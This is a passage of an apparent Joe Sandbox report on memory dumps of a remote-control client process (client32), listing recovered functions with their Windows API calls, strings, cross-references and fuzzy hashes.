Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$CountEnterException@8ThrowTickXinvalid_argument_free_malloc_memsetstd::_std::exception::exceptionwsprintf
String ID: IsA()$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$list<T> too long
API String ID: 2238969640-1197860701
Opcode ID: 56db25419c0e47adced9616d36e05b27263c0d593e28ae4636820008f3c37c9f
Instruction ID: 9fd56e3a4776fcf28e1c6ce8a1981ca07dec16432dee4cc0167aa7d7c32ba94c
Opcode Fuzzy Hash: 56db25419c0e47adced9616d36e05b27263c0d593e28ae4636820008f3c37c9f
Instruction Fuzzy Hash: 31517179E062659FDB45CFA4C984AADFBA4FF09348F008169E8159B344F731A904CBA5

Function 6EF07F80 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 154libraryloaderCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6EF07F9F
LoadLibraryA.KERNEL32(iphlpapi.dll,?,00000000,?,?,?,?,?,?,?,?,6EEFB916,?,00000100,00000006,00000001), ref: 6EF07FAC
GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 6EF07FCB
_malloc.LIBCMT ref: 6EF07FFB
wsprintfA.USER32 ref: 6EF0807C
_free.LIBCMT ref: 6EF08110

Part of subcall function 6EF11BFD: HeapFree.KERNEL32(00000000,00000000), ref: 6EF11C13
Part of subcall function 6EF11BFD: GetLastError.KERNEL32(00000000), ref: 6EF11C25

FreeLibrary.KERNEL32(00000000,?,00000000,?), ref: 6EF0811C

Strings

GetAdaptersInfo, xrefs: 6EF07FC5
iphlpapi.dll, xrefs: 6EF07FA7
%02X%02X%02X%02X%02X%02X, xrefs: 6EF08076

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: FreeLibrary$AddressErrorHeapLastLoadProc_free_malloc_memsetwsprintf
String ID: %02X%02X%02X%02X%02X%02X$GetAdaptersInfo$iphlpapi.dll
API String ID: 1404005415-834977148
Opcode ID: f33c3f423d226af7316d96adf1fb20adb38a3267a259270e0e84b449c9a95b7c
Instruction ID: b036934cdf8abd6ea480cab30f3f02c34f335477901cbbc9ba11f2c114e76fec
Opcode Fuzzy Hash: f33c3f423d226af7316d96adf1fb20adb38a3267a259270e0e84b449c9a95b7c
Instruction Fuzzy Hash: 2C511571A0428A9BDF01CFF8CCB4AEE7BF9AF49300F144166ED55AB245E7319904DBA0

Function 110654E0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 80COMMON

Download Yara Rule

APIs

Part of subcall function 1105E820: __wcstoi64.LIBCMT ref: 1105E85D

GetOEMCP.KERNEL32(View,Cachesize,00000400,00000000,76EDC3F0,00000000), ref: 11065525

Part of subcall function 11064880: _strtok.LIBCMT ref: 110648C0
Part of subcall function 11064880: _strtok.LIBCMT ref: 110648F0

GetDC.USER32(00000000), ref: 11065558
GetDeviceCaps.GDI32(00000000,0000000E), ref: 11065563
GetDeviceCaps.GDI32(00000000,0000000C), ref: 1106556E
ReleaseDC.USER32(00000000,00000000), ref: 110655B9

Strings

View, xrefs: 1106550A
Cachesize, xrefs: 11065505
932, 949, 1361, 874, 862, xrefs: 1106552B
DBCS, xrefs: 11065535
Codepage, xrefs: 11065530

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CapsDevice_strtok$Release__wcstoi64
String ID: 932, 949, 1361, 874, 862$Cachesize$Codepage$DBCS$View
API String ID: 3945178471-2526036698
Opcode ID: 058c2aae16d643b31adc47a1744bed462daca89727d2630be5973e582d58aa57
Instruction ID: 682317bc02e2a30c69588dc0a9c96f0ce4cbb9861371b6ad8b8e837dbdf19ace
Opcode Fuzzy Hash: 058c2aae16d643b31adc47a1744bed462daca89727d2630be5973e582d58aa57
Instruction Fuzzy Hash: DA21497AE002246BE3149F75CDC4BA9FB98FB08354F014565F969EB280D775A940C7D0

Function 1101F2A0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 70windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32 ref: 1101F2B5
_memset.LIBCMT ref: 1101F2D8
GetMenuItemInfoA.USER32(?,00000000,00000001,?), ref: 1101F2F6
_free.LIBCMT ref: 1101F305

Part of subcall function 11163AA5: HeapFree.KERNEL32(00000000,00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ABB
Part of subcall function 11163AA5: GetLastError.KERNEL32(00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ACD

_free.LIBCMT ref: 1101F30E
DeleteObject.GDI32(00000000), ref: 1101F32D
DeleteObject.GDI32(00000000), ref: 1101F33B

Strings

, xrefs: 1101F2EF
UndoOwnerDraw, xrefs: 1101F2A7
0, xrefs: 1101F2E8

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: DeleteItemMenuObject_free$CountErrorFreeHeapInfoLast_memset
String ID: $0$UndoOwnerDraw
API String ID: 4094458939-790594647
Opcode ID: 6ed4e77d9c016c8eff6e2e5212ae31cf16a08a19f327eae3f04c88df89f206e5
Instruction ID: 9f4c9540ed3e85911a06978235dbefa5e19a2329fc37d196683f21109e2371eb
Opcode Fuzzy Hash: 6ed4e77d9c016c8eff6e2e5212ae31cf16a08a19f327eae3f04c88df89f206e5
Instruction Fuzzy Hash: 16119671E162299BDB04DFE49C85B9DFBECBB18318F000069E814D7244E674A5108B91

Function 1106F400 Relevance: 16.8, APIs: 3, Strings: 8, Instructions: 297COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 1106F737
EnterCriticalSection.KERNEL32(?,?,?,?,?,?), ref: 1106F788
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?), ref: 1106F7A8

Strings

Port, xrefs: 1106F6F3
(null), xrefs: 1106F57E, 1106F590
tracerecv, xrefs: 1106F565
TCPIP, xrefs: 1106F56A, 1106F697, 1106F6F8, 1106F715
%s:%d, xrefs: 1106F731
NameResp from %s(%s), len=%d/%d, flags=%d, channel=%s, xrefs: 1106F5A0
UseNCS, xrefs: 1106F692
ListenPort, xrefs: 1106F710

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeavewsprintf
String ID: %s:%d$(null)$ListenPort$NameResp from %s(%s), len=%d/%d, flags=%d, channel=%s$Port$TCPIP$UseNCS$tracerecv
API String ID: 3005300677-3496508882
Opcode ID: 528d664af790432cc8ca1395220602a174b3715dc91bad2e9284cb29b95c4820
Instruction ID: f86a0a3523b45ae2aa4ac8696085f91b0c00e2f9513f1a57450127c273c63767
Opcode Fuzzy Hash: 528d664af790432cc8ca1395220602a174b3715dc91bad2e9284cb29b95c4820
Instruction Fuzzy Hash: 17B19F79E003169FDB10CF64CC90FAAB7B9AF89708F50419DE909A7241EB75AD41CF62

Function 11041440 Relevance: 16.0, APIs: 3, Strings: 6, Instructions: 211windowtimeCOMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 1104147B

Part of subcall function 1105E820: __wcstoi64.LIBCMT ref: 1105E85D

SendMessageTimeoutA.USER32(?,0000004A,00170222,?,00000002,00002710,?), ref: 11041670
_free.LIBCMT ref: 11041677

Strings

IsA(), xrefs: 110415D7, 11041603, 1104163E
Client, xrefs: 110414A1
e:\nsmsrc\nsm\1210\1210f\ctl32\DataStream.h, xrefs: 110415D2, 110415FE, 11041639
Journal status( bNoMenu = %d, gpJournal = %x, %d, %d) bVistaUI %d, xrefs: 110414E9
SendJournalStatustoSTUI(%d, %d, %d, %d), xrefs: 110415AE
DisableJournalMenu, xrefs: 1104149C

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MessageSendTimeoutWindow__wcstoi64_free
String ID: Client$DisableJournalMenu$IsA()$Journal status( bNoMenu = %d, gpJournal = %x, %d, %d) bVistaUI %d$SendJournalStatustoSTUI(%d, %d, %d, %d)$e:\nsmsrc\nsm\1210\1210f\ctl32\DataStream.h
API String ID: 1897251511-2352888828
Opcode ID: fa5a56d3959a27f69506f65d8ccf5def50a2be3eef365412e5d35b6d21c3e654
Instruction ID: 7d7d201ace8770d3ab851aba43ef7aa7a0e05de8b0dcb1a0fb6fb2d6540d47c3
Opcode Fuzzy Hash: fa5a56d3959a27f69506f65d8ccf5def50a2be3eef365412e5d35b6d21c3e654
Instruction Fuzzy Hash: 37717DB5F0021AAFDB04DFD4CCC0AEEF7B5AF48304F244279E516A7685E631A905CBA1

Function 11051360 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 167COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 110513F9
CloseHandle.KERNEL32(?,Client,UserAcknowledge,00000000,00000000), ref: 110514DB

Part of subcall function 1105E820: __wcstoi64.LIBCMT ref: 1105E85D

Strings

PolicyChanged, invalid user, disconnect, xrefs: 1105147C
PolicyChanged, userack needed, disconnect, xrefs: 110514C0
Client, xrefs: 110513CF, 11051496, 110514B2
PolicyChanged, disconnect, xrefs: 11051532
10.21.0.0, xrefs: 11051396
UserAcknowledge, xrefs: 11051491, 110514AD
_profileSection, xrefs: 110513CA

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseHandle__wcstoi64_memset
String ID: 10.21.0.0$Client$PolicyChanged, disconnect$PolicyChanged, invalid user, disconnect$PolicyChanged, userack needed, disconnect$UserAcknowledge$_profileSection
API String ID: 510078033-311296318
Opcode ID: 628bd5edbdc2b934cdea530cf6e87229bc90534bd2c32232888589127f272096
Instruction ID: d6821365ce57f0d8f52ec6341a9adbf8752ca4ec49bea4256a0f2cceaf2f1fbd
Opcode Fuzzy Hash: 628bd5edbdc2b934cdea530cf6e87229bc90534bd2c32232888589127f272096
Instruction Fuzzy Hash: D0513E75F4034AAFEB50CA61DC41FDAB7ACAB05708F144164FD05AB2C1EB71B604CB51

Function 11029520 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 131COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 1102965A
GetTickCount.KERNEL32 ref: 1102968A
GetTickCount.KERNEL32 ref: 110296C8

Strings

_debug, xrefs: 110296B1
Client, xrefs: 1102959F
IgnorePowerResume, xrefs: 110296AC
Stop resuming, xrefs: 11029617
APMSUSPEND, suspended=%u, suspending=%u, resuming=%u, xrefs: 11029600
DisableStandby, xrefs: 1102959A

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick
String ID: APMSUSPEND, suspended=%u, suspending=%u, resuming=%u$Client$DisableStandby$IgnorePowerResume$Stop resuming$_debug
API String ID: 536389180-1339850372
Opcode ID: b0d48e285380544e5a04f23f59acccb283078a85027adb73250184a2610d4c83
Instruction ID: 7a2480a0f38ec62df9d6165c4879ba51ca1346fdc5c877313ede350298642e4b
Opcode Fuzzy Hash: b0d48e285380544e5a04f23f59acccb283078a85027adb73250184a2610d4c83
Instruction Fuzzy Hash: 8541CD75E022359BE712CFE1D981BA9F7E4FB44348F10056AE83597284FB30E680CBA1

Function 1103D2B0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 113filewindowCOMMON

Download Yara Rule

APIs

FindWindowA.USER32(NSMW16Class,00000000), ref: 1103D2E4
SendMessageA.USER32(00000000,0000004A,00170222,?), ref: 1103D313
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 1103D353
CloseHandle.KERNEL32(?), ref: 1103D364

Strings

NSMW16Class, xrefs: 1103D2DF
CLTCONN.CPP, xrefs: 1103D3BF

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseFileFindHandleMessageSendWindowWrite
String ID: CLTCONN.CPP$NSMW16Class
API String ID: 4104200039-3790257117
Opcode ID: 7bae25e5ec6ac12795ee0301b5ed4f221613fcdb06e7094a7561e2cb570cb440
Instruction ID: 7413f3f2c5586e26beac36a23cabaf74cb1d99cfb277255675335e3274ed5d18
Opcode Fuzzy Hash: 7bae25e5ec6ac12795ee0301b5ed4f221613fcdb06e7094a7561e2cb570cb440
Instruction Fuzzy Hash: AC418E75A0020AAFE715CFA0D884BDEF7ACBB84719F008659F85997240DB74BA54CB91

Function 1113F0E0 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 111windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,000000FF,00000000,00000000,00000000,00000000,00000003,?,?,?,00000000,00000000), ref: 1113F116
MessageBeep.USER32(00000000), ref: 1113F1C9
InvalidateRect.USER32(?,00000000,00000001,?,?,?,00000000,00000000), ref: 1113F1F4
UpdateWindow.USER32(?), ref: 1113F21B

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

NSMStatsWindow Add value %d, xrefs: 1113F199
NSMStatsWindow Read %d and %d (previous %d), xrefs: 1113F153
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 1113F0F4, 1113F1DA, 1113F205
m_hWnd, xrefs: 1113F0F9, 1113F1DF, 1113F20A
NSMStatsWindow::OnTimer, xrefs: 1113F11C

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MessageWindow$BeepErrorExitInvalidateLastProcessRectUpdatewsprintf
String ID: NSMStatsWindow Read %d and %d (previous %d)$NSMStatsWindow Add value %d$NSMStatsWindow::OnTimer$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 490496107-2775872530
Opcode ID: d9e39ef12bae1f0dabfce1c2349acdb44f901fd7f2055dc060b1669aa1c7fefe
Instruction ID: d3d90aad3bca8c51e092343d299df36488d3ee70d707c240b8c59d5b32e4b979
Opcode Fuzzy Hash: d9e39ef12bae1f0dabfce1c2349acdb44f901fd7f2055dc060b1669aa1c7fefe
Instruction Fuzzy Hash: 1D3114B9A5031ABFD710CB91CC81FAAF3B8AB84718F104529F566A76C4DA70B900CB52

Function 11023470 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

GetWindowTextLengthA.USER32(?), ref: 11023491
GetDlgItem.USER32(00000000,000013AB), ref: 110234D4
ShowWindow.USER32(00000000), ref: 110234D7
GetDlgItem.USER32(00000000,000013AB), ref: 11023521
ShowWindow.USER32(00000000), ref: 11023524

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

GetDlgItem.USER32(00000000,?), ref: 1102356B
EnableWindow.USER32(00000000,00000000), ref: 11023577

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\nsmdlg.h, xrefs: 110234B1, 110234FE, 11023554
m_hWnd, xrefs: 110234B6, 11023503, 11023559

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$Item$Show$EnableErrorExitLastLengthMessageProcessTextwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\nsmdlg.h$m_hWnd
API String ID: 3823882759-1986719024
Opcode ID: 6731b4a21ae5097193c9452f6bf6a924e6ae7ca037130a291c3622393df669cb
Instruction ID: 3a296536204feeda3cf5b5ace87cff4b3db999d64eabd005e2355b496405e70e
Opcode Fuzzy Hash: 6731b4a21ae5097193c9452f6bf6a924e6ae7ca037130a291c3622393df669cb
